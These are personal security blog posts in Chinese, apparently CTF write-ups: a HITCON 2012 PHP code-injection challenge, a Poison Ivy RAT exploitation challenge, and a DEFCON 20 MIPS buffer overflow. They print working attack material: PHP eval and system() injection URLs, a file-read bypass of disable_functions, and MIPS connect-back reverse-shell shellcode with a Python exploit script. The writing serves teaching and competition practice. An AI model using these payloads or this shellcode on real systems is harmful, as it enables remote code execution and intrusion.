2012年11月14日 星期三

被微軟感謝了>< MS12-071 - CVE-2012-4775


先說這是炫耀文XD
雖然不是第一次找到 0day ,不過倒是第一次 Report 漏洞
有我名字,開心紀念一下成就++ :P


Internet Explorer 9 Remote Code Execution
(CTreeNode Use After Free)
MS12-071
CVE-2012-4775

http://technet.microsoft.com/en-us/security/bulletin/ms12-nov
http://technet.microsoft.com/en-us/security/bulletin/ms12-071
(下面有我><)

搭配 heap spray





















未來有時間的話應該會嘗試  fuzz Chrome 吧,有獎金可拿XD
http://www.chromium.org/Home/chromium-security

2012年11月3日 星期六

2012年7月24日 星期二

Hacks in Taiwan 2012 Potent Pwnables 3 出題詳解




照慣例今年還是有個經典遊戲題,
皮卡丘打排球相信是許多人童年的回憶XD



這次的題目是
Hack Pikachu.
(Pikachu is a hacker's name.)

檔案可以在 http://rsghost.org/backup/wargame.hitcon.org/ 下載
感謝 RSGhost 備份

主要考的觀念是 Poison Ivy 的 stack overflow 問題
Poison ivy 是一套滿有名的木馬程式,
其中最大的特性是木馬的 server 端可以變成 shellcode 的形式,
使得木馬要加密、變形、免殺變得異常方便!
所以在很多地方都可以看到它的蹤跡...XD

又由於 Poison ivy 目前版本( 2.3.2 ) 已不再更新,要更新的請花錢買付費版XD
並要要執行必須在關閉 DEP 的環境下,所以 Exploit 環境較單純利用起來相對容易

有興趣研究的人可以到 http://www.poisonivy-rat.com/  下載


主程式被 binary patch 改了一些 call function 以及加上了兩個 sections,
一個是  Poison Ivy 的 shellcode
另一個是 Anti VMware, SEH 的一些 little and easy tricks,
又因為主程式是 Single Thread 又自己加上 CreateThread 等

心血來潮丟到 Virustotal 上測試沒想到只有4家可以偵測到orz
都還沒出大絕招就只剩下四家這... XDD






舊版 2.3.2 的 Poison Ivy 在 Windows 7 上跑不起來,
原因是因為 Windows 7 在取得 ImageBase 上的方式不同,
詳細原因可以參考我以前寫過的文章 Download Exec shellcode fix & for Windows 7

Patch 方法除了自己改外網路上有人已經有寫好的小程式可以直接用
http://existence.vacau.com/PI/pi.html
將產生的 shellcode 直接貼上去就可以進行 patch !
所以在 Windows XP or Windows 7 無論 32bits 或是 64bits 皆可以執行。

由於主程式是 Windows98/me 時代撰寫的( 1997 (C)SACHI SOFT ),
跑在 Windows 7 64bits 上有點怪怪的小 BUG (會 crash),
猜測是 Heap Allocation 的問題(未證實)
解決方法是將相容性改成 Windows 98/me 就可以正常執行了

至於如何判斷是 Poison Ivy ,
除了行為外,還可以從
Poison Ivy 預設的 port 是 3460
Poison Ivy 預設的 mutex 是 )!VoqA.I4 等看出

接著就可以直接用 Metasploit  進行攻擊
http://www.metasploit.com/modules/exploit/windows/misc/poisonivy_bof





















 <( ̄︶ ̄)> 得到 key

額外補充:
駭客年會兩天約有200~300個連線(累計紀錄)連過來
忘記把盛況拍下來了 //flee

How to hack a hacker, this is a good question. XD


2012年7月23日 星期一

Hacks in Taiwan 2012 Web Hacking 1 出題詳解



簡單的 Code Review,所以只有 100 分
結束突然有點感嘆覺得說,台灣玩 Web Hacking 的人雖然多,但都不精,
而且滿大比例是 ...... 的orz

題目很簡單,
Web Hacking 1 外國人題目一出來沒多久就解出來,
基本上有在關注這一塊的人應該看到就可以馬上寫出解答

題目是:
Easy code review.
This is a beginning of the web hacking. 
都有 source code 了,再解不出來該去撞豆腐了XD



























key.php 裡面放著過關金鑰
orange.html 是 orange.php 的原始碼
關卡的 PHP code 有提供 source 給大家 review,並從中找出漏洞進行利用,只有短短幾行
<?php

    
// by Orange@chroot.org, have fun.

    
$data $_GET["data"];
    
$name $_GET["name"];

    
$arr = array("\"""'"";");
    
$data str_replace($arr""$data);
    
$_ = <<< EOF<?php
    \$title = "
$data";
?>
EOF;
    
$filename sprintf("yourfiles/%s.config.php"$name);
    
file_put_contents($filename$_);



Web Hacking 1 考的觀念是 PHP 中在雙引號中的變數是可以被解析的特性

<?php
    $test = 123;
    echo "$test";
這樣的結果會是 123,

<?php
    echo "{${phpinfo()}}";
這樣的結果會執行 phpinfo 這個 function

基本上這不算是一個漏洞,算是 PHP 的一個特性,
但在 PHP Code Review 上卻是一個要注意的點

能利用的地方很多,
例如在網站後台有功能可以寫設定檔,
但是雙引號被 magic_gpc_quote 防禦時則可這樣利用

又或是舉個例子,有一套很火紅的 PHP framework 叫做 thinkPHP,
之前被爆出 Code Execution 漏洞,出問題的點在於
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
轉自 http://zone.wooyun.org/index.php?do=view&id=44

雖然主要出問題的點在於 preg_replace + e 這個地方,
但漏洞利用的觀念還是在於,在 "\\2" 中,變數會被放到雙引號中
所以可以利用這種網址

/index.php?s=module/action/param1/${@system($_GET[cmd])}
&cmd=cat config.php
直接執行系統指令。


所以完整的利用流程只要三個網址就可以拿到 key 了

http://wg.hack.idv.tw/~ow100/orange.php?name=orange&data=${@eval($_GET[cmd])}
產生 youtfiles/orange.config.php 檔案

http://wg.hack.idv.tw/~ow100/yourfiles/orange.config.php?cmd=phpinfo();
第二個步驟的主要目的觀看 php 設定是否有哪些防禦、限制
繞過 disable_function 的限制
disable_function 的值有
basename,chgrp,chmod,chown,clearstatcache,copy,delete,dirname,disk_free_space,disk_total_space,diskfreespace,fclose,feof,fflush,fgetc,fgetcsv,fgets,fgetss,file_exists,file_get_contents,file,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,filesize,filetype,flock,fnmatch,fopen,fpassthru,fputcsv,fputs,fread,fscanf,fseek,fstat,ftell,ftruncate,fwrite,glob,is_dir,is_executable,is_file,is_link,is_readable,is_writable,is_writeable,lchgrp,lchown,link,linkinfo,lstat,mkdir,parse_ini_file,parse_ini_string,pathinfo,pclose,popen,readfile,readlink,realpath_cache_get,realpath_cache_size,realpath,rename,rewind,rmdir,set_file_buffer,stat,symlink,tempnam,tmpfile,touch,umask,unlink,include,include_once,require,requre_once,opendir,readdir,highlight_file,scandir

http://wg.hack.idv.tw/~ow100/orange.config.php?cmd=print_r(gzfile($_GET[b]));&b=../key.php
這裡我用的方法是用 gzfile ,並不在 disable_function 內,所以可以順利的讀取到 key.php























額外補充

yourfiles 下共產生了 704 個  PHP 檔案,看其中內容有研究了一下還滿好玩的XD
除了完全與出題方向不同的 SQL injection, XSS 外有看到幾個比較有創意的答案

<?php $title = "{${show_source(trim(base64_decode(Li4va2V5LnBocCAK)))}}"; ?>


<?$zip = new ZipArchive();echo $zip->open($_GET[(string)1],ZIPARCHIVE::OVERWRITE);echo $zip->addFile($_GET[(string)2]);$zip->close();?>


<?php $title = "{${assert($_GET[1])}}"; ?>



2012年6月19日 星期二

Defcon ctf 20 qual pp100 Writeup



又到了一年一度的駭客界盛事 Defcon ctf qual 的....... 半個月後了

期末考終於有時間來寫個 write up 了XD
由於沒有在時間內解完,所以這篇算是事後腦補文!

沒在時間內解出卡住的點是
沒有看出有 setrlimit 的限制
以及
腦袋轉的不夠快沒有想到利用 ROP 去 leak memory address


Pwnables 100
題目描述
Pwn it! Running on 140.197.217.85:1994 Download the binary
檔案可以在這下載
http://rdlabs.org/dc20qual/pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a



















連進去長得像這樣


可以用 binutils 的 file 觀察發現是 MIPS 架構的 ELF binary

orange@z:~/ctf$ file pp100
pp100: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped

環境可以利用 QEMU 架起來,可參考 這篇

qemu-system-mipsel.exe -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"

想要網路的話加上參數 -net user & -net nic
想到 forward port 的話加上參數 -redir tcp:22::22
(Host OS 22 port to Guest OS 22 port)






















QEMU 長得像這樣

接著開始進行分析,配合 IDA pro 觀察
在 gdb 中會發現在 png2ascii 指令內超過一定長度會產生 Segmentation fault.
慢慢減少字串長度發現在 260 bytes 後的字元可以覆蓋到 PC
python -c "print 'png2ascii\n' + "0"*260 +'A'*4" | nc 0 1994


















很簡單的 Buffer overflow 不過是 MIPS ~"~
可以很快地寫出 Exploit 但是 shellcode 有大小限制 ,網路上的皆無法使用所以只好自己寫 = =|||
(網路上的 shellcode 是考慮到 null byte,所以利用變形的方式繞過所以寫得又臭又長,而且還有寫錯的~"~)

要注意的點
MIPS 有分 Big endian 以及 Little endian,可以從 "\xc0\x01\x01\x01" or "\x01\x01\x01\xc0" 看出
syscall 值 可以參考 /usr/include/asm/unistd.h
MIPS 參數傳遞由 a0,a1,a2,a3 下去
MIPS 回傳值位於 ra
字串放進 stack 內位置要對齊,不然會寫得很幹!

透過 gdb, gcc, objdump, strace 可以寫出 shellcode

大致如
setrlimit -> socket -> connect -> dup2(將 stdout, stdin, stderr 轉至 fd) -> execv
Reference 中另外一隊的寫法是直接將當前連線當成資料交換的地方,直接 dup2,更厲害讓 shellcode 更短

void main() {
    // setrlimit
    asm("li $v0,4075");
    asm("li $a0,5");
    asm("addiu $a1,$sp,-64");
    asm("li $t7,100");
    asm("sw $t7,-64($sp)");
    asm("sw $t7,-60($sp)");
    asm("syscall 0x40404");

    // socket
    asm("li $a0,2");
    asm("li $a1,2");
    asm("li $a2,6");
    asm("li $v0,4183");
    asm("syscall 0x40404");

    // connect
    asm("sw $v0,-1($sp)");
    asm("lw $a0,-1($sp)");
    asm("lui $t7,0x5555");      // port
    asm("ori $t7, $t7,2");
    asm("sw $t7,-32($sp)");
    asm("lui $t5,0xc893");      // IP
    asm("ori $t5,$t5,0xe6ad");  // IP
    asm("sw $t5,-28($sp)");
    asm("addi $a1,$sp,-32");
    asm("li $a2,16");
    asm("li $v0,4170");
    asm("syscall 0x40404");

    //dup2
    asm("li $a1,2");
    asm("lw $a0,-1($sp)");
    asm("out:");
    asm("li $v0,4063");
    asm("syscall 0x40404");
    asm("addi $a1,$a1,-1");
    asm("li $t3,-1");
    asm("bne $a1,$t3,out");

    // execv
    asm("lui $t7,0x6e69");
    asm("ori $t7,$t7,0x622f");
    asm("sw $t7,-12($sp)");
    asm("lui $t6,0x68");
    asm("ori $t6,$t6,0x732f");
    asm("sw $t6,-8($sp)");
    asm("sw $zero,-4($sp)");
    asm("addiu $a0,$sp,-12");
    asm("li $a1,0");
    asm("li $a2,0");
    asm("li $v0,4011");
    asm("syscall 0x40404");
}


總共長度為 176 bytes
接下來的問題就是如何找到 shellcode 在 stack 的位置



















利用 Return Oriented Programming (ROP) 可以跳至 syscall __NR_send 的位置,並且參數可以自己控制最終將 Remote 的記憶體資料讀回來找出 shellcode 位置

最終的 Exploit python code

import socket
from struct import pack

HOST = "140.197.217.85"
#HOST = "127.0.0.1"
PORT = 1994

sc = (  "\xEB\x0F\x02\x24\x05\x00\x04\x24\xC0\xFF\xA5\x27\x64\x00\x0F\x24"
        "\xC0\xFF\xAF\xAF\xC4\xFF\xAF\xAF\x0C\x01\x01\x01\x02\x00\x04\x24"
        "\x02\x00\x05\x24\x06\x00\x06\x24\x57\x10\x02\x24\x0C\x01\x01\x01"
        "\xFF\xFF\xA2\xAF\xFF\xFF\xA4\x8F\x55\x55\x0F\x3C\x02\x00\xEF\x35"
        "\xE0\xFF\xAF\xAF\x93\xC8\x0D\x3C\xAD\xE6\xAD\x35\xE4\xFF\xAD\xAF"
        "\xE0\xFF\xA5\x23\x10\x00\x06\x24\x4A\x10\x02\x24\x0C\x01\x01\x01"
        "\x02\x00\x05\x24\xFF\xFF\xA4\x8F\xDF\x0F\x02\x24\x0C\x01\x01\x01"
        "\xFF\xFF\xA5\x20\xFF\xFF\x0B\x24\xFB\xFF\xAB\x14\x25\x08\x20\x00"
        "\x69\x6E\x0F\x3C\x2F\x62\xEF\x35\xF4\xFF\xAF\xAF\x68\x00\x0E\x3C"
        "\x2F\x73\xCE\x35\xF8\xFF\xAE\xAF\xFC\xFF\xA0\xAF\xF4\xFF\xA4\x27"
        "\x00\x00\x05\x24\x00\x00\x06\x24\xAB\x0F\x02\x24\x0C\x01\x01\x01"
    )

nop = "A"*(260-len(sc))
retAddr = 0x7f7fbc6a    # shellcode address
#retAddr = 0x00411498    # ROP to leak stack address

if __name__ == "__main__":
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.recv(1024)
    s.recv(1024)
    s.send('png2ascii\n')
    s.recv(1024)

    # get stack memoery
    # s.send(nop + \
    #        sc + \
    #        pack("I", retAddr) + \
    #        pack("I", 4) + \
    #        pack("I", 0x4bd740 ) + \
    #        pack("I", 0xffff) + \
    #        pack("I", 0) + "\n"
    #      )
    # tmp = []
    # for i in range(0, 0xffff, 1024):
    #    buf = s.recv(1024)
    #    tmp.append( buf )
    # with open("temp.txt", "w+") as fp:
    #    fp.write( "".join(tmp) )

    # jump to shellcode
    s.send(nop + sc + pack("I", retAddr) + "1234")
    s.close()


Reference:
http://blog.lse.epita.fr/articles/17-defcon2k12-prequals-pwn100-writeup.html
http://www.exploit-db.com/exploits/18226/
http://www.thc.org/root/docs/exploit_writing/mipsshellcode.pdf